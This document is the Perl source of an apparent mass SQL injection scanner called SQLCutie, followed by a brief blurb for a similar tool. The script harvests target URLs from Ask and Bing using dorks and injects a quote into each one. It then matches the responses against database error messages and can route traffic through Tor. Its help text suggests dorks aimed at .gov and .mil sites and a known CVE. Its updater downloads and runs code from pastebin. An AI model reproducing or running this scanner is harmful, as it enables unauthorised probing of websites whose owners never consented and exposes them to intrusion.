#-----------------------------------------------------------#

sub help
{
     system('clear');
     print title;
     print BOLD,"\n For pentesting and educational purposes only\n",RESET;

     print BLUE, "\n[!] Usage   : $0 <option>\n";
     print GREEN, "-----------------------------------";
     print BOLD, GREEN, "\n--|| Options\n\n", RESET;
     print GREEN,BOLD,"     -d           Dorking function (dh)\n";
     print "     -c           See dork list (press Q to quit)\n",RESET,GREEN;
     print "     -p           Define a proxy to use (ph)\n";
     print "     -o           Save result in a file\n";
     print "     -h           Print this help manual\n";
     print "     -r           Change log, description & term\n";
     print "     -dh          Print dork manual\n";
     print "     -ph          Print proxy manual\n";
     print "     -u           Update to latest version\n";
     print "-----------------------------------\n\n", RESET;
     exit();
}

sub title
{
    print "\n This program comes with ABSOLUTELY NO WARRANTY\n";
    print " This is free software and you are welcome to\n";
    print " redistribute it under certain conditions of GPL 3.0\n";
}

sub readme
{
	system('clear');
     print BOLD;
     print q(
    This program is free software: you can redistribute it and/or modify 
    it under the terms of the GNU General Public License as published by 
    the Free Software Foundation, either version 3 of the License, or    
    at your option any later version.                                  
                                                                          
    This program is distributed in the hope that it will be useful,      
    but WITHOUT ANY WARRANTY; without even the implied warranty of       
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the        
    GNU General Public License for more details.                         
                                                                          
    You should have received a copy of the GNU General Public License    
    along with this program.  If not, see http://www.gnu.org/licenses/);
     print "\n";
     print RESET;
	print GREEN, "\n\n    -----------------------------------\n";
	print BOLD,GREEN,"    SQLCutie ",YELLOW,"1.8a\n",RESET;
	print GREEN,"    This program is distributed under GNU GPL 3.0\n",RESET;
	print BLUE,"    http://pastebin.com/NdVZ5HVX\n",RESET;
	print GREEN, "    -----------------------------------\n\n";
	print GREEN,"  Changes on 1.8a:\n\n",RESET;
	print BLUE,BOLD,"     - Hot fix for search engine's regex\n";
	print BLUE,BOLD,"     - Added more error types\n",RESET;
	print BLUE,"\n $0 -h\n\n",RESET;
	exit();
}

sub dorkhelp
{
	system('clear');
	print title;
	print BOLD,"\n For pentesting and educational purposes only\n",RESET;
	print     BOLD,"\n\n[!] Info [!]\n\n",RESET;
	print     YELLOW " inurl:",GREEN,"    <- indicates Query in URL\n",RESET;
	print     YELLOW," intitle:",GREEN,"  <- indicates Query in Title\n",RESET;
	print     YELLOW," intext:",GREEN,"   <- indicates Query in File Content\n",RESET;
	print     YELLOW," related:",GREEN,"  <- Related Query Content\n",RESET;
	print     YELLOW," site:",GREEN,"     <- indicates URL Domain\n",RESET;
	print     YELLOW," filetype:",GREEN," <- indicate File Type\n",RESET;
	print     YELLOW," ext:",GREEN,"      <- Similar to filetype\n",RESET;
	print     YELLOW," all",GREEN,"       <- Sub-query 'all' works only like 'allinurl','allintitle','allrelated' and 'allintext'\n",RESET;
	print     YELLOW," *",GREEN,"         <- Wildcard\n",RESET;
	print     YELLOW," \"\"",GREEN,"        <- Matches Entire Query\n",RESET;
	print     YELLOW," ()",GREEN,"        <- Brackets for Boolean operators (See Below)\n",RESET;
	print     YELLOW," |",GREEN,"         <- OR (Use only in brackets with queries like 'inurl', 'intitle','filetype' or 'related'\n",RESET;
	print     YELLOW," &",GREEN,"         <- AND (Use only in brackets with a query)\n",RESET;
	print     YELLOW," +",GREEN,"         <- spacing (I'll fix this in next version so u can add actual space)\n\n",RESET;
	print     BOLD,"[!] Basic [!]\n\n",RESET;
	print     YELLOW," php?id\n",GREEN," -- Dorks for any PHP ext with param of 'id'\n",CYAN," Since we didn't indicate the exact query, it will get contents from anywhere (Doesn't need to be in URL)\n\n";
	print     YELLOW," inurl:php?id\n",GREEN," -- Dorks for PHP ext with param of 'id' only from URL\n",CYAN," See the difference?\n\n";	
	print     YELLOW," intitle:php?id\n",GREEN," -- Dorks for text 'php?id' in the title\n\n";
	print     YELLOW," site:gov+inurl:php?id\n",GREEN," -- Dorks top-lvl domain 'gov' with PHP ext and 'id' param only from URL\n\n";
	print     YELLOW," site:google.ca\n",GREEN," -- Dorks domain 'google.ca' only from URL\n\n";
	print     YELLOW," site:.google.ca\n",GREEN," -- Dorks ANY sub-domain(s) of 'google.ca' only from URL\n",CYAN," See the difference between a dot?\n\n";
	print     YELLOW," site:play.google.ca\n",GREEN," -- Dorks specifically sub-domain 'play.google.ca' only from URL\n\n";
	print     YELLOW," (asp|aspx)?id=\n",GREEN," -- Dorks URL ext 'asp' OR 'aspx' with 'id' param\n",CYAN," ONLY works inside",RED,BOLD," '' ",RESET,CYAN,"or",RED,BOLD," \"\"",RESET,CYAN,"\n Ex: $0 -d ",BOLD,"'(index|forum|cart).php?id='\n\n",RESET;
	print     YELLOW," cute+AND+nice+inurl:php?cat=\n",GREEN," -- Dorks for both words 'cute' & 'nice' and PHP ext with 'cat' param only from URL\n\n";
	print     YELLOW," (cart|forum)*?id=\n",GREEN," -- Dorks for sub-queries 'cart' or 'forum' in ANY available query (could be ext & vice versa) with 'id' param\n",CYAN," The * indicate any available result\n\n";
	print     YELLOW," php?(id|cat)=\n",GREEN," -- Dorks for PHP ext with param of 'id' or 'cat'\n\n";
	print     YELLOW," (asp|php)?(id|cat)=\n",GREEN," -- Dorks for PHP or ASP exts with param of 'id' or 'cat'\n\n",RESET;
	print     BOLD,"[!] Advanced [!]\n\n",RESET;
	print     YELLOW," inurl:\"wp-download.php?dl_id=\"\n",GREEN," -- SQLi Vuln CVE 2008-1646\n\n",RESET;
	print     YELLOW," allinurl:(asp|aspx|php)?(id=|q=)&*+site:mil\n",GREEN," -- Search for 'asp','aspx' OR 'php' with param 'id' OR 'q' AND any other param with top-lvl domain 'mil'\n\n",RESET;
	print     YELLOW," \"you have an error in your sql syntax\"+php?id=\n",GREEN," -- Precisely dorks for MySQLi vuln with PHP ext and 'id' param\n\n",RESET;
	print CYAN,"[=] For some reasons queries like inurl or intitle don't work inside single/double quotes, so avoid using them (this will be fixed in next 2-3 version)\n";
	print 		  "[=] ALWAYS use single/double quotes for queries which have () | & and/or \"\"\n";
	print 		  "[=] For long query string, avoid using inurl/intext/intitle/related (see 1st reason)\n";
	print 		  "[=] Play around with queries. Do not give up if it doesn't show. Remember! Tries different query if ones don't work!\n";
	print 		  "[=] Check out ",UNDERLINE,"http://www.exploit-db.com/google-dorks/",RESET,CYAN," for more special dorks! Or make your own specials!\n";
	print 		  "[=] If u still have question about query, email me at ",UNDERLINE,"madfedora\@protomail.ch\n",RESET;
	print BLUE,"\n$0 -h\n\n",RESET;
	exit();
}

sub proxyhelp
{
	system('clear');
	print title;
	print GREEN,"\n[?] Example: ./sqlcutie -p ",BOLD,"http://127.0.0.1:9050/\n";
	print "[!] To install TOR: $0 -t\n",RESET;
	print BLUE,"$0 -h\n\n",RESET;
	exit();
}

sub update
{
	system('clear');
	
	print title;
	print BOLD,"\n For pentesting and educational purposes only\n",RESET;
	print GREEN,"\n[!] Updating...\n";
	system('wget http://pastebin.com/raw.php?i=NdVZ5HVX -r -O ./sqlcutie && ls -l sqlcutie ; chmod u+x ./sqlcutie ; dos2unix ./sqlcutie');
        print BOLD,"";
	system('echo "For what changed run: ./sqlcutie -r"');
        print "\n",RESET;
	exit();
}

sub tor
{
	system('clear');
	
	print title;
	print GREEN,BOLD,"\n[!] You're installing TOR\n[!] Please enter your permission password to proceed if being prompted\n",YELLOW,"[!] Press Ctrl C to exit\n",RESET;
	system('sudo apt-get install tor || sudo yum install tor && service tor start');
	print YELLOW"If TOR didn't start automaticall, please start run 'tor' command in different terminal.",RESET;
	print BLUE,BOLD"\nTo use: $0 -d <input> -p http://127.0.0.1:9050/\n",RESET;
	exit();
}

sub conte
{
	system('w3m -dump http://pastebin.com/raw.php?i=UVcmJQQz|less');
}

sub variables
{
	my $i=0;
	foreach (@ARGV)
	{
        if ($ARGV[$i] eq "-d"){$search_dork = $ARGV[$i+1]}
        if ($ARGV[$i] eq "-o"){$vulnf = $ARGV[$i+1]}
        if ($ARGV[$i] eq "-p"){$proxy = $ARGV[$i+1]}
	if ($ARGV[$i] eq "-h"){&help}
	if ($ARGV[$i] eq "-r"){&readme}
	if ($ARGV[$i] eq "-dh"){&dorkhelp}
	if ($ARGV[$i] eq "-ph"){&proxyhelp}
	if ($ARGV[$i] eq "-u"){&update}
	if ($ARGV[$i] eq "-t"){&tor}
	if ($ARGV[$i] eq "-c"){&conte}
        $i++;
	}
}


sub main
{
	system('clear');
	
	print title;
	print BOLD,"\n For pentesting and educational purposes only\n",RESET;
	print GREEN, " \n--------------------------------------\n";
	print BOLD," \n    SQLCutie ",YELLOW,"1.8a\n",RESET;
	print BLUE,"       madfedora\@protomail.ch\n",RESET;
	print GREEN," \n--------------------------------------\n\n",RESET;
	if (@ARGV+1){print GREEN,"[?] For Help : ",BOLD,"$0 -h\n\n",RESET;}
}

sub vulnscanner
{
     checksearch();
     search1($search_dork);
     search2($search_dork);
}
sub checksearch
{
	my $request   = HTTP::Request->new(GET => "http://www.ask.com/web?q=$search_dork&page=1");
	my $useragent = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/531.7.2 (KHTML, like Gecko) Version/5.1 Safari/531.7.2');
	$useragent->proxy("http", "http://$proxy/") if defined($proxy);
	my $response  = $useragent->request($request) ;
	my $result    = $response->content;
}         

sub search1
{
     my $dork  = $_[0];
     for ($i=1;$i<10;$i=$i+1)
     {
	my $request   = HTTP::Request->new(GET => "http://www.ask.com/web?q=$dork&page=$i");
        my $useragent = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/531.7.2 (KHTML, like Gecko) Version/5.1 Safari/531.7.2');
        $useragent->proxy("http", "http://$proxy/") if defined($proxy);
        my $response  = $useragent->request($request) ;
        my $result    = $response->content;
	while ($result =~ m/<a class="web-result-title-link\" href=\"(.*?)\" onmousedown=\"uaction/g)
         {
             print BLUE, "[!] Scanning > $1\n", RESET;     
             checkvuln($1)
         }
     }                  
}
sub search2
{
     my $dork  = $_[0];
     for ($i=1;$i<50;$i++)
     {
	my $request   = HTTP::Request->new(GET => "http://www.bing.com/search?q=$dork&go=&filt=all&first=$i");
	my $useragent = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/531.7.2 (KHTML, like Gecko) Version/5.1 Safari/531.7.2');
        $useragent->proxy("http", "http://$proxy/") if defined($proxy);
        my $response  = $useragent->request($request) ;
        my $result    = $response->content;
	while ($result =~ m/class=\"b_algo\"><h2><a href=\"(.*?)\" h="\ID=SERP/g)
	{
        	my $dorkurl ="http://".$3 ;
        	print BLUE, "[!] Scanning > $dorkurl\n",RESET;
        	checkvuln($dorkurl);
        }
     }
}

sub checkvuln
{
     my $urlscan   = $_[0];
     my $link       = $urlscan.('\'');
     my $ua         = LWP::UserAgent->new();
     $ua->proxy("http", "http://$proxy/") if defined($proxy);
     my $req        = $ua->get($link);
     my $fz       = $req->content;
#-----------------------------------------------------------#
#      PHP MySQL                                            #
#-----------------------------------------------------------#
     if ($fz =~ m/mysql_num_rows/i)

     {
	print BOLD, GREEN, "[!] {MySQL} Num Row -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL Num Row] $urlscan\n");
         }
     }

     elsif ($fz =~ m/mysql_fetch_/i || $fz =~ m/mysql_fetch_array/i || $fz =~ m/FetchRow()/i|| $fz =~ m/GetArray()/i || $fz =~ m/FetchRow(.*)/i|| $fz =~ m/GetArray(.*)/i)
     {
         print BOLD, GREEN, "[!] {MySQL} Fetch -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
		push (@vuln1,"[MySQL Fetch] $urlscan\n");
         }
     }

     elsif ($fz =~ m/user_error(.*,E_USER_ERROR.*)/i || $fz =~ m/user_error(.*,E_USER_WARNING.*)/i|| $fz =~ m/trigger_error(.*,E_USER_ERROR.*)/i || $fz =~ m/trigger_error(.*,E_USER_WARNING.*)/i )
     {
         print BOLD, GREEN, "[!] {MySQL} User/Trigger Error -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
		push (@vuln1,"[MySQL User/Trigger Error] $urlscan\n");
         }
     }

     elsif ($fz =~ m/set_error_handler(.*)/i)
     {
         print BOLD, GREEN, "[!] {MySQL} Error Handler -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
		push (@vuln1,"[MySQL Error Handler] $urlscan\n");
         }
     }


#-----------------------------------------------------------#
#      MySQL                                                #
#-----------------------------------------------------------#

     elsif ($fz =~ m/Unexpected EOF found when reading file/i)
     {
         print BOLD, GREEN, "[!] {MySQL} 1039 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL 1039] $urlscan\n");
         }
     }

     elsif ($fz =~ m/Triggers cannot be created on system tables/i)
     {
         print BOLD, GREEN, "[!] {MySQL} 1465 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL 1465] $urlscan\n");
         }
     }
     elsif ($fz =~ m/Can't get working directory/i)
     {
         print BOLD, GREEN, "[!] {MySQL} 1015 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL 1015] $urlscan\n");
         }
     }
     elsif ($fz =~ m/You have an error in your SQL syntax/i || $fz =~ m/Query failed/i || $fz =~ m/SQL query failed/i)
     {
         print BOLD, GREEN, "[!] {MySQL} 1064 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL 1064] $urlscan\n");
         }
     }
     elsif ($fz =~ m/The used SELECT statements have a different number of columns/i)
     {
         print BOLD, GREEN, "[!] {MySQL} 1222 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL 1222] $urlscan\n");
         }
     }
	elsif ($fz =~ m/mysql_fetch_object()/i)
     {
         print BOLD, GREEN, "[!] {MySQL} mysql_fetch_object() -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL fetch_object] $urlscan\n");
         }
     }
	elsif ($fz =~ m/pg_connect()/i)
     {
         print BOLD, GREEN, "[!] {MySQL} pg_connect()  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL pg_connect] $urlscan\n");
         }
     }
	elsif ($fz =~ m/SQL command not properly ended/i)
     {
         print BOLD, GREEN, "[!] {MySQL} command  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL command] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Warning: include/i)
     {
         print BOLD, GREEN, "[!] {MySQL} include  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL include] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Warning: main/i)
     {
         print BOLD, GREEN, "[!] {MySQL} main  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL main] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Warning: pg_exec/i)
     {
         print BOLD, GREEN, "[!] {MySQL} pg_exec  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL pg_exec] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Warning: ocifetchstatement/i)
     {
         print BOLD, GREEN, "[!] {MySQL} ocifetchstatement  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL ocifetchstatement] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      MsSQL                                                #
#-----------------------------------------------------------#
     elsif ($fz =~ m/Microsoft OLE DB Provider for SQL Server/i || $fz =~ m/Unclosed quotation mark/i || $fz =~ m/OLE\/DB provider returned message/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} Microsoft OLE DB -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL OLEDB] $urlscan\n");
         }
     }

     elsif ($fz =~ m/ORDER BY items must appear in the select list if the statement contains a UNION operator/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 104 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 104] $urlscan\n");
         }
     }

     elsif ($fz =~ m/The column prefix.*does not match with a table name or alias name used in the query/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 107 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 107] $urlscan\n");
         }
     }

     elsif ($fz =~ m/The ORDER BY position number.*is out of range of the number of items in the select list/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 108 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 108] $urlscan\n");
         }
     }
     elsif ($fz =~ m/There are more columns in the INSERT statement than values specified in the VALUES clause/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 109 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 109] $urlscan\n");
         }
     }

     elsif ($fz =~ m/There are fewer columns in the INSERT statement than values specified in the VALUES clause/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 110 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 110] $urlscan\n");
         }
     }

     elsif ($fz =~ m/Missing end comment mark '\*\/'/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 113 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 113] $urlscan\n");
         }
     }

     elsif ($fz =~ m/A GOTO statement references the label '.*' but the label has not been declared/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 133 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 133] $urlscan\n");
         }
     }

     elsif ($fz =~ m/Could not load sysprocedures entries for constraint ID.*in database ID/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 427 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 427] $urlscan\n");
         }
     }

#-----------------------------------------------------------#
#      Access                                               #
#-----------------------------------------------------------#
     elsif ($fz =~ m/ODBC SQL Server Driver/i || $fz =~ m/ODBC Microsoft Access Driver/i || $fz =~ m/OLE DB Provider for ODBC/i)
     {
         print BOLD, GREEN, "[!] {Access} Microsoft ODBC -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln3,"[ODBC] $urlscan\n");
         }
     }

     elsif ($fz =~ m/Microsoft JET Database/i)
     {
         print BOLD, GREEN, "[!] {Access} Microsoft JET -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln3,"[JET DB] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      ADO DB                                               #
#-----------------------------------------------------------#
	elsif ($fz =~ m/Invalid Querystring/i)
     {
         print BOLD, GREEN, "[!] {ADO DB} Invalid Querystring -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[ADO DB Query] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ADODB.Field/i)
     {
         print BOLD, GREEN, "[!] {ADO DB} Field -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[ADO DB Field] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ADODB.Command/i )
     {
         print BOLD, GREEN, "[!] {ADO DB} Command -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[ADO DB Command] $urlscan\n");
         }
     }
	elsif ($fz =~ m/BOF or EOF/i)
     {
         print BOLD, GREEN, "[!] {ADO DB} BOF or EOF -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[BOF or EOF] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      VBS Runtime (Minor)                                  #
#-----------------------------------------------------------#
     elsif ($fz =~ m/VBScript Runtime/i)
     {
         print BOLD, GREEN, "[!] VBScript Runtime -> $urlscan\n", RESET;
	 print BOLD, YELLOW "[x] Non-Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[VBScript] $urlscan\n");
         }
     }

#-----------------------------------------------------------#
#      PostgreSQL                                           #
#-----------------------------------------------------------#
	elsif ($fz =~ m/postgresql.util/i || $fz =~ m/psql: FATAL/i || $fz =~ m/ERROR: invalid input syntax for integer/i )
     {
         print BOLD, GREEN, "[!] {PostgreSQL} Fatal Error -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre Fatal Error] $urlscan\n");
         }
     }
	elsif ($fz =~ m/dynamic_result_sets_returned/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 0100C -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 0100C] $urlscan\n");
         }
     }
	elsif ($fz =~ m/null_value_eliminated_in_set_function/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 1003 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 1003] $urlscan\n");
         }
     }

	elsif ($fz =~ m/string_data_right_truncation/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 1004 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 1004] $urlscan\n");
         }
     }
	elsif ($fz =~ m/deprecated_feature/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 01P01 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 01P01] $urlscan\n");
         }
     }
	elsif ($fz =~ m/sql_statement_not_yet_complete/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 3000 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 3000] $urlscan\n");
         }
     }
	elsif ($fz =~ m/connection_does_not_exist/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 8003 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 8003] $urlscan\n");
         }
     }

	elsif ($fz =~ m/connection_failure/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 8006 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 8006] $urlscan\n");
         }
     }

	elsif ($fz =~ m/sqlserver_rejected_establishment_of_sqlconnection/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 8004 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 8004] $urlscan\n");
         }
     }

	elsif ($fz =~ m/no_additional_dynamic_result_sets_returned/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 2001 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 2001] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      Oracle                                               #
#-----------------------------------------------------------#
	elsif ($fz =~ m/oracle.jdbc/i || $fz =~ m/system.data.oledb/i )
     {
         print BOLD, GREEN, "[!] {JDBC} -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[JDBC] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      Sybase                                               #
#-----------------------------------------------------------#
	elsif ($fz =~ m/Warning: sybase_query()/i || $fz =~ m/sybase_fetch_assoc()/i )
     {
         print BOLD, GREEN, "[!] {Sybase} Query/Fetch -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Sybase Query/Fetch] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      MariaDB                                              #
#-----------------------------------------------------------#
	elsif ($fz =~ m/ERROR 1712 (HY000)/i )
     {
         print BOLD, GREEN, "[!] {MariaDB} Index Corruption -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MariaDB Index] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ER_QUERY_EXCEEDED_ROWS_EXAMINED_LIMIT/i )
     {
         print BOLD, GREEN, "[!] {MariaDB} Query Excecution Corrupted -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MariaDB Query Exe] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ER_QUERY_CACHE_IS_GLOBALY_DISABLED/i )
     {
         print BOLD, GREEN, "[!] {MariaDB} Query cache is globally disabled -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MariaDB Query Cache] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ER_DYN_COL_IMPLEMENTATION_LIMIT/i )
     {
         print BOLD, GREEN, "[!] {MariaDB} Dynamic column implementation limit -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MariaDB Dynamic Col] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      IBM DB2                                              #
#-----------------------------------------------------------#
	elsif ($fz =~ m/The processing of the CONNECT statement at a DB2 remote server has failed/i)
     {
         print BOLD, GREEN, "[!] {IBM DB2} 00D30021 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[DB2 00D30021] $urlscan\n");
         }
     }

	elsif ($fz =~ m/DB2 cannot connect to a group buffer pool/i)
     {
         print BOLD, GREEN, "[!] {IBM DB2} 00C20203 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[DB2 00C20203] $urlscan\n");
         }
     }
	elsif ($fz =~ m/An error was detected in the command that was used to start the/i)
     {
         print BOLD, GREEN, "[!] {IBM DB2} 00E80051 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[DB2 00E80051] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Oracle DB2/i)
     {
         print BOLD, GREEN, "[!] {IBM DB2} Oracle DB2 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[DB2 Oracle] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Oracle ODBC/i)
     {
         print BOLD, GREEN, "[!] {IBM DB2} Oracle ODBC -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[DB2 ODBC] $urlscan\n");
         }
     }


#-----------------------------------------------------------#
#      PHP PDO                                              #
#-----------------------------------------------------------#
	elsif ($fz =~ m/SQLSTATE[42000] [1049] Unknown database/i )
     {
         print BOLD, GREEN, "[!] {PHP PDO} 1049 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[PHP PDO 1049] $urlscan\n");
         }
     }
	elsif ($fz =~ m/SQLSTATE[28000] [1045] Access denied for user/i )
     {
         print BOLD, GREEN, "[!] {PHP PDO} 1045 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[PHP PDO 1045] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      Coldfusion                                           #
#-----------------------------------------------------------#
	elsif ($fz =~ m/Error Executing Database Query/i)
     {
         print BOLD, GREEN, "[!] {Coldfusion} Error Executing DB -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[CFM] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ORA-01756/i )
     {
         print BOLD, GREEN, "[!] {Coldfusion} JDBC ORA-01756 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[CFM ORA-01756] $urlscan\n");
         }
     }
     elsif ($fz =~ m/ORA-00921/i )
     {
         print BOLD, GREEN, "[!] {Coldfusion} JDBC ORA-00921 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[CFM ORA-00921] $urlscan\n");
         }
     }
     elsif ($fz =~ m/error ORA-/i )
     {
         print BOLD, GREEN, "[!] {Coldfusion} JDBC Generic -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[CFM Misc] $urlscan\n");
         }
     }
     elsif ($fz =~ m/JDBC Oracle/i )
     {
         print BOLD, GREEN, "[!] {Coldfusion} JDBC Oracle -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[CFM JDBC Oracle] $urlscan\n");
         }
     }
}

variables();
main();

if (defined($search_dork))
{
     print GREEN,BOLD,"[+] Dork        : ",YELLOW,"$search_dork\n";
		  print GREEN,"[+] Proxy       : ",YELLOW,"$proxy\n";
		  print GREEN,"[+] Output File : ",YELLOW,"$vulnf\n";
		  print YELLOW,"[!] Press Ctrl C to Exit\n";
		  print "[!] ",UNDERLINE,"Beware of False Positive\n\n",RESET;
     vulnscanner();
     if (defined($vulnf))
     {
	 
         open(vuln_file,">>$vulnf") ;
         print vuln_file @vuln1;
         print vuln_file @vuln2;
         print vuln_file @vuln3;
         close(vuln_file);
         print YELLOW,"[+] Result Saved to $vulnf\n",RESET;
         exit();
     }
}
#-----------------------------------------------------------#
#      End                                                  #
#-----------------------------------------------------------#

 

Source : https://github.com/madfedora

SQLInjectionScanner – SQL Injection Vulnerability Scanner for a given URL.

$
0
0

The Simple SQL Injection Vulnerability Scanner helps to find SQL injection vulnerabilities within a website. It is basic and intended for educational use.sqlinjectionscanner
Features:
+ Scan a single URL per time
